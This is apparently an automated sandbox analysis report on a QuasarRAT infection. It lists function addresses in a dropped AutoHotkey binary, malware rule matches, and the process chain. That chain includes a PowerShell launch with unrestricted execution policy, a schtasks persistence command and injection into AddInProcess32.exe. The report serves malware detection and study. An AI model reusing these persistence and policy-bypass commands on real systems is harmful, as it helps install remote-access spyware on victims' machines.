                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008E640 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,19_2_000000014008E640
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFD9B8970FA0_2_00007FFD9B8970FA
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 0_2_00007FFD9B8971180_2_00007FFD9B897118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 6_2_05DE37B06_2_05DE37B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 6_2_05DE2EE06_2_05DE2EE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 6_2_05DE4A3F6_2_05DE4A3F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 6_2_05DE2B986_2_05DE2B98
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 7_2_01798BE87_2_01798BE8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 7_2_01798BD87_2_01798BD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 9_2_01218BE89_2_01218BE8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 9_2_01218BD89_2_01218BD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 10_2_022A8BE810_2_022A8BE8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 10_2_022A8BD810_2_022A8BD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 11_2_025B8BD811_2_025B8BD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 11_2_025B8BE811_2_025B8BE8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 12_2_026F8BE812_2_026F8BE8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 12_2_026F8BD812_2_026F8BD8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 13_2_00B58BE813_2_00B58BE8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 13_2_00B58BD813_2_00B58BD8
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400722B019_2_00000001400722B0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400962C019_2_00000001400962C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002A75719_2_000000014002A757
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400291A019_2_00000001400291A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006322019_2_0000000140063220
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009339019_2_0000000140093390
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002B3D719_2_000000014002B3D7
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140001BAC19_2_0000000140001BAC
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400AFEA019_2_00000001400AFEA0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006200019_2_0000000140062000
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E5FF419_2_00000001400E5FF4
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001403019_2_0000000140014030
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005E0A019_2_000000014005E0A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A00B019_2_00000001400A00B0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400DE0A419_2_00000001400DE0A4
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E00DC19_2_00000001400E00DC
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400C80DB19_2_00000001400C80DB
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A60ED19_2_00000001400A60ED
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C11019_2_000000014009C110
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400821B019_2_00000001400821B0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400841F019_2_00000001400841F0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007C1F019_2_000000014007C1F0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400CA21019_2_00000001400CA210
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400AC21019_2_00000001400AC210
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E820C19_2_00000001400E820C
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002A24919_2_000000014002A249
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E62C819_2_00000001400E62C8
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400C830019_2_00000001400C8300
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014000637019_2_0000000140006370
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009A38019_2_000000014009A380
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001639019_2_0000000140016390
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400703A019_2_00000001400703A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008A39819_2_000000014008A398
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001C43019_2_000000014001C430
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400AA46019_2_00000001400AA460
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400684C019_2_00000001400684C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006E4C019_2_000000014006E4C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007A4E019_2_000000014007A4E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006A5A019_2_000000014006A5A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400185A019_2_00000001400185A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400585E019_2_00000001400585E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005C5E019_2_000000014005C5E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006461019_2_0000000140064610
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C66D19_2_000000014009C66D
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008267019_2_0000000140082670
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006C67019_2_000000014006C670
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C67C19_2_000000014009C67C
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008869E19_2_000000014008869E
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400666A019_2_00000001400666A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C69819_2_000000014009C698
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C6BA19_2_000000014009C6BA
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C6DB19_2_000000014009C6DB
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C6E719_2_000000014009C6E7
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C70D19_2_000000014009C70D
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400AE72019_2_00000001400AE720
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009C74E19_2_000000014009C74E
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002E75019_2_000000014002E750
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009276019_2_0000000140092760
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005E76019_2_000000014005E760
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400EC78C19_2_00000001400EC78C
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A678819_2_00000001400A6788
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BE7C019_2_00000001400BE7C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009E7F819_2_000000014009E7F8
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007081019_2_0000000140070810
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014000280B19_2_000000014000280B
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005083019_2_0000000140050830
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400408A319_2_00000001400408A3
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BC93019_2_00000001400BC930
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006C94019_2_000000014006C940
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004E97019_2_000000014004E970
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007E9B019_2_000000014007E9B0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A4A4019_2_00000001400A4A40
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A6A6519_2_00000001400A6A65
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140060A8019_2_0000000140060A80
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400B8AC019_2_00000001400B8AC0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140072AE019_2_0000000140072AE0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005AB1019_2_000000014005AB10
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140012C3019_2_0000000140012C30
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140042C3519_2_0000000140042C35
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BAC7019_2_00000001400BAC70
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400C4C8019_2_00000001400C4C80
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140046D4919_2_0000000140046D49
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007ED6819_2_000000014007ED68
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400ECD7019_2_00000001400ECD70
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140058D7019_2_0000000140058D70
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400D4DC019_2_00000001400D4DC0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140098DE019_2_0000000140098DE0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140076DE019_2_0000000140076DE0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008AE0019_2_000000014008AE00
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140054E3019_2_0000000140054E30
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006AE6019_2_000000014006AE60
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140064EE019_2_0000000140064EE0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A0EF019_2_00000001400A0EF0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140080F0019_2_0000000140080F00
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004CF2019_2_000000014004CF20
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005EFD019_2_000000014005EFD0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140094FD119_2_0000000140094FD1
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014000AFE019_2_000000014000AFE0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014013900019_2_0000000140139000
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005D01B19_2_000000014005D01B
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007D04019_2_000000014007D040
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001305019_2_0000000140013050
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005B09019_2_000000014005B090
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400DD09819_2_00000001400DD098
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400710D019_2_00000001400710D0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400570E019_2_00000001400570E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009711019_2_0000000140097110
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005914019_2_0000000140059140
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006D14219_2_000000014006D142
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008D16019_2_000000014008D160
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008B1D019_2_000000014008B1D0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E120419_2_00000001400E1204
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400BF22019_2_00000001400BF220
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014003327019_2_0000000140033270
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001127019_2_0000000140011270
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A32CB19_2_00000001400A32CB
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005D2C819_2_000000014005D2C8
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A32D919_2_00000001400A32D9
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A32E419_2_00000001400A32E4
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007931019_2_0000000140079310
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006F32019_2_000000014006F320
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005331B19_2_000000014005331B
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008733019_2_0000000140087330
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014000338D19_2_000000014000338D
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A33A019_2_00000001400A33A0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A33B919_2_00000001400A33B9
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A33C119_2_00000001400A33C1
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A33D719_2_00000001400A33D7
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004140819_2_0000000140041408
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004742019_2_0000000140047420
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014003942019_2_0000000140039420
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004D49019_2_000000014004D490
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005B49B19_2_000000014005B49B
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400574B019_2_00000001400574B0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001B4C019_2_000000014001B4C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400594E019_2_00000001400594E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004350619_2_0000000140043506
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007B51019_2_000000014007B510
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A557019_2_00000001400A5570
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014000F57019_2_000000014000F570
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001D58019_2_000000014001D580
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008958F19_2_000000014008958F
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400B55B019_2_00000001400B55B0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A95C019_2_00000001400A95C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005363B19_2_000000014005363B
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006765019_2_0000000140067650
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A565B19_2_00000001400A565B
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E566819_2_00000001400E5668
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400196C019_2_00000001400196C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008D79019_2_000000014008D790
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014003F79919_2_000000014003F799
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001F7C019_2_000000014001F7C0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004D83019_2_000000014004D830
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004B8E019_2_000000014004B8E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400158E019_2_00000001400158E0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005998019_2_0000000140059980
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A599C19_2_00000001400A599C
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140047A1519_2_0000000140047A15
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005DA1D19_2_000000014005DA1D
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140069A5019_2_0000000140069A50
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004FA7019_2_000000014004FA70
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140021A9019_2_0000000140021A90
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140087AC019_2_0000000140087AC0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140065AD019_2_0000000140065AD0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400E3B4019_2_00000001400E3B40
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006BB9019_2_000000014006BB90
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001DC5019_2_000000014001DC50
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005FC8019_2_000000014005FC80
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014005DC8219_2_000000014005DC82
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140055C9019_2_0000000140055C90
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014009BCA019_2_000000014009BCA0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140023CA019_2_0000000140023CA0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008BD9019_2_000000014008BD90
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140053D9019_2_0000000140053D90
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140099DB319_2_0000000140099DB3
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400DBDB419_2_00000001400DBDB4
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140091DD019_2_0000000140091DD0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A5DE119_2_00000001400A5DE1
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140087E3019_2_0000000140087E30
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400A3E6019_2_00000001400A3E60
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014001FE9019_2_000000014001FE90
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007FEB019_2_000000014007FEB0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014007DED019_2_000000014007DED0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140037EE019_2_0000000140037EE0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006DEF919_2_000000014006DEF9
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140051F5019_2_0000000140051F50
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140057F6019_2_0000000140057F60
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140065F9019_2_0000000140065F90
                Source: Joe Sandbox ViewDropped File: C:\Users\Public\Documents\AutoHotkey64.exe EFFDEA83C6B7A1DC2CE9E9D40E91DFD59BED9FCBD580903423648B7CA97D9696
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: String function: 000000014004E5E0 appears 454 times
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: String function: 00000001400D7260 appears 62 times
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: String function: 000000014004E250 appears 62 times
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: String function: 00000001400D6A8C appears 402 times
                Source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MAL_QuasarRAT_May19_1 date = 2019-05-27, hash1 = 0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded, author = Florian Roth, description = Detects QuasarRAT malware, reference = https://blog.ensilo.com/uncovering-new-activity-by-apt10
                Source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_QuasarRAT author = ditekSHen, description = QuasarRAT payload
                Source: Process Memory Space: powershell.exe PID: 7316, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                Source: classification engineClassification label: mal100.troj.spyw.evad.winPS1@28/10@2/2
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014004FA70 _swprintf,CreateProcessW,CloseHandle,GetLastError,SetCurrentDirectoryW,GetFileAttributesW,SetCurrentDirectoryW,ShellExecuteExW,GetModuleHandleW,GetProcAddress,CloseHandle,GetLastError,FormatMessageW,19_2_000000014004FA70
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008E640 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,19_2_000000014008E640
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014006C280 wcsncpy,GetDiskFreeSpaceExW,free,19_2_000000014006C280
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008E8D0 CreateToolhelp32Snapshot,Process32FirstW,_wcstoi64,Process32NextW,Process32NextW,CloseHandle,CloseHandle,CloseHandle,19_2_000000014008E8D0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014008ED30 CLSIDFromProgID,CLSIDFromString,CLSIDFromString,CoCreateInstance,CoCreateInstance,19_2_000000014008ED30
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002AED0 realloc,wcsncpy,CharUpperW,GetFullPathNameW,lstrcmpiW,FindResourceW,LoadResource,LockResource,SizeofResource,FindResourceW,19_2_000000014002AED0
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Documents\AutoHotkey64.exeJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutant created: NULL
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:120:WilError_03
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutant created: \Sessions\1\BaseNamedObjects\QSR_MUTEX_nCFXZUEaa8h2uJHNCI
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lolkrnlj.vyx.ps1Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\desktop.iniJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
                Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\x.ps1"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\Documents\AutoHotkey64.exe "C:\Users\Public\Documents\AutoHotkey64.exe"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn 3losh /tr C:\Users\Public\Documents\AutoHotkey64.exe /sc minute /mo 2 /st 04:23 /f
                Source: unknownProcess created: C:\Users\Public\Documents\AutoHotkey64.exe C:\Users\Public\Documents\AutoHotkey64.exe
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
